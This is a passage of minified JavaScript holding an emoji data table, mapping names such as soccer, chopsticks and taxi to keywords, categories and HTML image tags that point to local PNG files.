src="1f944.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},fork_and_knife:{keywords:["cutlery","kitchen"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf74" src="1f374.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},plate_with_cutlery:{keywords:["food","eat","meal","lunch","dinner","restaurant"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf7d" src="1f37d.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},bowl_with_spoon:{keywords:["food","breakfast","cereal","oatmeal","porridge"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd63" src="1f963.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},takeout_box:{keywords:["food","leftovers"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd61" src="1f961.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},chopsticks:{keywords:["food"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd62" src="1f962.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},soccer:{keywords:["sports","football"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26bd" src="26bd.png"/>',fitzpatrick_scale:!1,category:"activity"},basketball:{keywords:["sports","balls","NBA"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfc0" src="1f3c0.png"/>',fitzpatrick_scale:!1,category:"activity"},football:{keywords:["sports","balls","NFL"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfc8" src="1f3c8.png"/>',fitzpatrick_scale:!1,category:"activity"},baseball:{keywords:["sports","balls"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26be" src="26be.png"/>',fitzpatrick_scale:!1,category:"activity"},softball:{keywords:["sports","balls"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd4e" src="1f94e.png"/>',fitzpatrick_scale:!1,category:"activity"},tennis:{keywords:["sports","balls","green"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfbe" src="1f3be.png"/>',fitzpatrick_scale:!1,category:"activity"},volleyball:{keywords:["sports","balls"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfd0" src="1f3d0.png"/>',fitzpatrick_scale:!1,category:"activity"},rugby_football:{keywords:["sports","team"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfc9" src="1f3c9.png"/>',fitzpatrick_scale:!1,category:"activity"},flying_disc:{keywords:["sports","frisbee","ultimate"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd4f" src="1f94f.png"/>',fitzpatrick_scale:!1,category:"activity"},"8ball":{keywords:["pool","hobby","game","luck","magic"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfb1" src="1f3b1.png"/>',fitzpatrick_scale:!1,category:"activity"},golf:{keywords:["sports","business","flag","hole","summer"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26f3" src="26f3.png"/>',fitzpatrick_scale:!1,category:"activity"},golfing_woman:{keywords:["sports","business","woman","female"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfcc\ufe0f\u200d\u2640\ufe0f" src="1f3cc-fe0f-200d-2640-fe0f.png"/>',fitzpatrick_scale:!1,category:"activity"},golfing_man:{keywords:["sports","business"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfcc" src="1f3cc.png"/>',fitzpatrick_scale:!0,category:"activity"},ping_pong:{keywords:["sports","pingpong"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfd3" src="1f3d3.png"/>',fitzpatrick_scale:!1,category:"activity"},badminton:{keywords:["sports"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udff8" src="1f3f8.png"/>',fitzpatrick_scale:!1,category:"activity"},goal_net:{keywords:["sports"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd45" src="1f945.png"/>',fitzpatrick_scale:!1,category:"activity"},ice_hockey:{keywords:["sports"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfd2" src="1f3d2.png"/>',fitzpatrick_scale:!1,category:"activity"},field_hockey:{keywords:["sports"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfd1" src="1f3d1.png"/>',fitzpatrick_scale:!1,category:"activity"},lacrosse:{keywords:["sports","ball","stick"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd4d" src="1f94d.png"/>',fitzpatrick_scale:!1,category:"activity"},cricket:{keywords:["sports"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfcf" src="1f3cf.png"/>',fitzpatrick_scale:!1,category:"activity"},ski:{keywords:["sports","winter","cold","snow"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfbf" src="1f3bf.png"/>',fitzpatrick_scale:!1,category:"activity"},skier:{keywords:["sports","winter","snow"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26f7" src="26f7.png"/>',fitzpatrick_scale:!1,category:"activity"},snowboarder:{keywords:["sports","winter"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfc2" src="1f3c2.png"/>',fitzpatrick_scale:!0,category:"activity"},person_fencing:{keywords:["sports","fencing","sword"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd3a" src="1f93a.png"/>',fitzpatrick_scale:!1,category:"activity"},women_wrestling:{keywords:["sports","wrestlers"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd3c\u200d\u2640\ufe0f" src="1f93c-200d-2640-fe0f.png"/>',fitzpatrick_scale:!1,category:"activity"},men_wrestling:{keywords:["sports","wrestlers"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd3c\u200d\u2642\ufe0f" src="1f93c-200d-2642-fe0f.png"/>',fitzpatrick_scale:!1,category:"activity"},woman_cartwheeling:{keywords:["gymnastics"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd38\u200d\u2640\ufe0f" src="1f938-200d-2640-fe0f.png"/>',fitzpatrick_scale:!0,category:"activity"},man_cartwheeling:{keywords:["gymnastics"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd38\u200d\u2642\ufe0f" src="1f938-200d-2642-fe0f.png"/>',fitzpatrick_scale:!0,category:"activity"},woman_playing_handball:{keywords:["sports"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd3e\u200d\u2640\ufe0f" src="1f93e-200d-2640-fe0f.png"/>',fitzpatrick_scale:!0,category:"activity"},man_playing_handball:{keywords:["sports"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd3e\u200d\u2642\ufe0f" src="1f93e-200d-2642-fe0f.png"/>',fitzpatrick_scale:!0,category:"activity"},ice_skate:{keywords:["sports"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26f8" src="26f8.png"/>',fitzpatrick_scale:!1,category:"activity"},curling_stone:{keywords:["sports"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd4c" src="1f94c.png"/>',fitzpatrick_scale:!1,category:"activity"},skateboard:{keywords:["board"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udef9" src="1f6f9.png"/>',fitzpatrick_scale:!1,category:"activity"},sled:{keywords:["sleigh","luge","toboggan"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udef7" src="1f6f7.png"/>',fitzpatrick_scale:!1,category:"activity"},bow_and_arrow:{keywords:["sports"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udff9" src="1f3f9.png"/>',fitzpatrick_scale:!1,category:"activity"},fishing_pole_and_fish:{keywords:["food","hobby","summer"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfa3" src="1f3a3.png"/>',fitzpatrick_scale:!1,category:"activity"},boxing_glove:{keywords:["sports","fighting"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd4a" src="1f94a.png"/>',fitzpatrick_scale:!1,category:"activity"},martial_arts_uniform:{keywords:["judo","karate","taekwondo"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd4b" src="1f94b.png"/>',fitzpatrick_scale:!1,category:"activity"},rowing_woman:{keywords:["sports","hobby","water","ship","woman","female"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udea3\u200d\u2640\ufe0f" src="1f6a3-200d-2640-fe0f.png"/>',fitzpatrick_scale:!0,category:"activity"},rowing_man:{keywords:["sports","hobby","water","ship"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udea3" src="1f6a3.png"/>',fitzpatrick_scale:!0,category:"activity"},climbing_woman:{keywords:["sports","hobby","woman","female","rock"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddd7\u200d\u2640\ufe0f" src="1f9d7-200d-2640-fe0f.png"/>',fitzpatrick_scale:!0,category:"activity"},climbing_man:{keywords:["sports","hobby","man","male","rock"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddd7\u200d\u2642\ufe0f" src="1f9d7-200d-2642-fe0f.png"/>',fitzpatrick_scale:!0,category:"activity"},swimming_woman:{keywords:["sports","exercise","human","athlete","water","summer","woman","female"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfca\u200d\u2640\ufe0f" src="1f3ca-200d-2640-fe0f.png"/>',fitzpatrick_scale:!0,category:"activity"},swimming_man:{keywords:["sports","exercise","human","athlete","water","summer"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfca" src="1f3ca.png"/>',fitzpatrick_scale:!0,category:"activity"},woman_playing_water_polo:{keywords:["sports","pool"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd3d\u200d\u2640\ufe0f" src="1f93d-200d-2640-fe0f.png"/>',fitzpatrick_scale:!0,category:"activity"},man_playing_water_polo:{keywords:["sports","pool"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd3d\u200d\u2642\ufe0f" src="1f93d-200d-2642-fe0f.png"/>',fitzpatrick_scale:!0,category:"activity"},woman_in_lotus_position:{keywords:["woman","female","meditation","yoga","serenity","zen","mindfulness"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddd8\u200d\u2640\ufe0f" src="1f9d8-200d-2640-fe0f.png"/>',fitzpatrick_scale:!0,category:"activity"},man_in_lotus_position:{keywords:["man","male","meditation","yoga","serenity","zen","mindfulness"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddd8\u200d\u2642\ufe0f" src="1f9d8-200d-2642-fe0f.png"/>',fitzpatrick_scale:!0,category:"activity"},surfing_woman:{keywords:["sports","ocean","sea","summer","beach","woman","female"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfc4\u200d\u2640\ufe0f" src="1f3c4-200d-2640-fe0f.png"/>',fitzpatrick_scale:!0,category:"activity"},surfing_man:{keywords:["sports","ocean","sea","summer","beach"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfc4" src="1f3c4.png"/>',fitzpatrick_scale:!0,category:"activity"},bath:{keywords:["clean","shower","bathroom"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udec0" src="1f6c0.png"/>',fitzpatrick_scale:!0,category:"activity"},basketball_woman:{keywords:["sports","human","woman","female"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26f9\ufe0f\u200d\u2640\ufe0f" src="26f9-fe0f-200d-2640-fe0f.png"/>',fitzpatrick_scale:!0,category:"activity"},basketball_man:{keywords:["sports","human"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26f9" src="26f9.png"/>',fitzpatrick_scale:!0,category:"activity"},weight_lifting_woman:{keywords:["sports","training","exercise","woman","female"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfcb\ufe0f\u200d\u2640\ufe0f" src="1f3cb-fe0f-200d-2640-fe0f.png"/>',fitzpatrick_scale:!0,category:"activity"},weight_lifting_man:{keywords:["sports","training","exercise"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfcb" src="1f3cb.png"/>',fitzpatrick_scale:!0,category:"activity"},biking_woman:{keywords:["sports","bike","exercise","hipster","woman","female"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeb4\u200d\u2640\ufe0f" src="1f6b4-200d-2640-fe0f.png"/>',fitzpatrick_scale:!0,category:"activity"},biking_man:{keywords:["sports","bike","exercise","hipster"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeb4" src="1f6b4.png"/>',fitzpatrick_scale:!0,category:"activity"},mountain_biking_woman:{keywords:["transportation","sports","human","race","bike","woman","female"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeb5\u200d\u2640\ufe0f" src="1f6b5-200d-2640-fe0f.png"/>',fitzpatrick_scale:!0,category:"activity"},mountain_biking_man:{keywords:["transportation","sports","human","race","bike"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeb5" src="1f6b5.png"/>',fitzpatrick_scale:!0,category:"activity"},horse_racing:{keywords:["animal","betting","competition","gambling","luck"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfc7" src="1f3c7.png"/>',fitzpatrick_scale:!0,category:"activity"},business_suit_levitating:{keywords:["suit","business","levitate","hover","jump"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd74" src="1f574.png"/>',fitzpatrick_scale:!0,category:"activity"},trophy:{keywords:["win","award","contest","place","ftw","ceremony"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfc6" src="1f3c6.png"/>',fitzpatrick_scale:!1,category:"activity"},running_shirt_with_sash:{keywords:["play","pageant"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfbd" src="1f3bd.png"/>',fitzpatrick_scale:!1,category:"activity"},medal_sports:{keywords:["award","winning"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfc5" src="1f3c5.png"/>',fitzpatrick_scale:!1,category:"activity"},medal_military:{keywords:["award","winning","army"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf96" src="1f396.png"/>',fitzpatrick_scale:!1,category:"activity"},"1st_place_medal":{keywords:["award","winning","first"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd47" src="1f947.png"/>',fitzpatrick_scale:!1,category:"activity"},"2nd_place_medal":{keywords:["award","second"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd48" src="1f948.png"/>',fitzpatrick_scale:!1,category:"activity"},"3rd_place_medal":{keywords:["award","third"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd49" src="1f949.png"/>',fitzpatrick_scale:!1,category:"activity"},reminder_ribbon:{keywords:["sports","cause","support","awareness"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf97" src="1f397.png"/>',fitzpatrick_scale:!1,category:"activity"},rosette:{keywords:["flower","decoration","military"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udff5" src="1f3f5.png"/>',fitzpatrick_scale:!1,category:"activity"},ticket:{keywords:["event","concert","pass"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfab" src="1f3ab.png"/>',fitzpatrick_scale:!1,category:"activity"},tickets:{keywords:["sports","concert","entrance"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf9f" src="1f39f.png"/>',fitzpatrick_scale:!1,category:"activity"},performing_arts:{keywords:["acting","theater","drama"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfad" src="1f3ad.png"/>',fitzpatrick_scale:!1,category:"activity"},art:{keywords:["design","paint","draw","colors"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfa8" src="1f3a8.png"/>',fitzpatrick_scale:!1,category:"activity"},circus_tent:{keywords:["festival","carnival","party"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfaa" src="1f3aa.png"/>',fitzpatrick_scale:!1,category:"activity"},woman_juggling:{keywords:["juggle","balance","skill","multitask"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd39\u200d\u2640\ufe0f" src="1f939-200d-2640-fe0f.png"/>',fitzpatrick_scale:!0,category:"activity"},man_juggling:{keywords:["juggle","balance","skill","multitask"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd39\u200d\u2642\ufe0f" src="1f939-200d-2642-fe0f.png"/>',fitzpatrick_scale:!0,category:"activity"},microphone:{keywords:["sound","music","PA","sing","talkshow"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfa4" src="1f3a4.png"/>',fitzpatrick_scale:!1,category:"activity"},headphones:{keywords:["music","score","gadgets"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfa7" src="1f3a7.png"/>',fitzpatrick_scale:!1,category:"activity"},musical_score:{keywords:["treble","clef","compose"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfbc" src="1f3bc.png"/>',fitzpatrick_scale:!1,category:"activity"},musical_keyboard:{keywords:["piano","instrument","compose"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfb9" src="1f3b9.png"/>',fitzpatrick_scale:!1,category:"activity"},drum:{keywords:["music","instrument","drumsticks","snare"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd41" src="1f941.png"/>',fitzpatrick_scale:!1,category:"activity"},saxophone:{keywords:["music","instrument","jazz","blues"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfb7" src="1f3b7.png"/>',fitzpatrick_scale:!1,category:"activity"},trumpet:{keywords:["music","brass"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfba" src="1f3ba.png"/>',fitzpatrick_scale:!1,category:"activity"},guitar:{keywords:["music","instrument"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfb8" src="1f3b8.png"/>',fitzpatrick_scale:!1,category:"activity"},violin:{keywords:["music","instrument","orchestra","symphony"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfbb" src="1f3bb.png"/>',fitzpatrick_scale:!1,category:"activity"},clapper:{keywords:["movie","film","record"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfac" src="1f3ac.png"/>',fitzpatrick_scale:!1,category:"activity"},video_game:{keywords:["play","console","PS4","controller"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfae" src="1f3ae.png"/>',fitzpatrick_scale:!1,category:"activity"},space_invader:{keywords:["game","arcade","play"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc7e" src="1f47e.png"/>',fitzpatrick_scale:!1,category:"activity"},dart:{keywords:["game","play","bar","target","bullseye"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfaf" src="1f3af.png"/>',fitzpatrick_scale:!1,category:"activity"},game_die:{keywords:["dice","random","tabletop","play","luck"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfb2" src="1f3b2.png"/>',fitzpatrick_scale:!1,category:"activity"},chess_pawn:{keywords:["expendable"],char:"\u265f",fitzpatrick_scale:!1,category:"activity"},slot_machine:{keywords:["bet","gamble","vegas","fruit machine","luck","casino"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfb0" src="1f3b0.png"/>',fitzpatrick_scale:!1,category:"activity"},jigsaw:{keywords:["interlocking","puzzle","piece"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udde9" src="1f9e9.png"/>',fitzpatrick_scale:!1,category:"activity"},bowling:{keywords:["sports","fun","play"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfb3" src="1f3b3.png"/>',fitzpatrick_scale:!1,category:"activity"},red_car:{keywords:["red","transportation","vehicle"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude97" src="1f697.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},taxi:{keywords:["uber","vehicle","cars","transportation"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude95" src="1f695.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},blue_car:{keywords:["transportation","vehicle"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude99" src="1f699.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},bus:{keywords:["car","vehicle","transportation"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude8c" src="1f68c.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},trolleybus:{keywords:["bart","transportation","vehicle"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude8e" src="1f68e.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},racing_car:{keywords:["sports","race","fast","formula","f1"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfce" src="1f3ce.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},police_car:{keywords:["vehicle","cars","transportation","law","legal","enforcement"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude93" src="1f693.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},ambulance:{keywords:["health","911","hospital"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude91" src="1f691.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},fire_engine:{keywords:["transportation","cars","vehicle"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude92" src="1f692.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},minibus:{keywords:["vehicle","car","transportation"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude90" src="1f690.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},truck:{keywords:["cars","transportation"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude9a" src="1f69a.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},articulated_lorry:{keywords:["vehicle","cars","transportation","express"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude9b" src="1f69b.png"/>',fitzpatrick_scale:!1,category:"travel_and_places"},tractor:{keywords:["vehicle","car","farming","agriculture"],char:'<img data-emoticon="true" 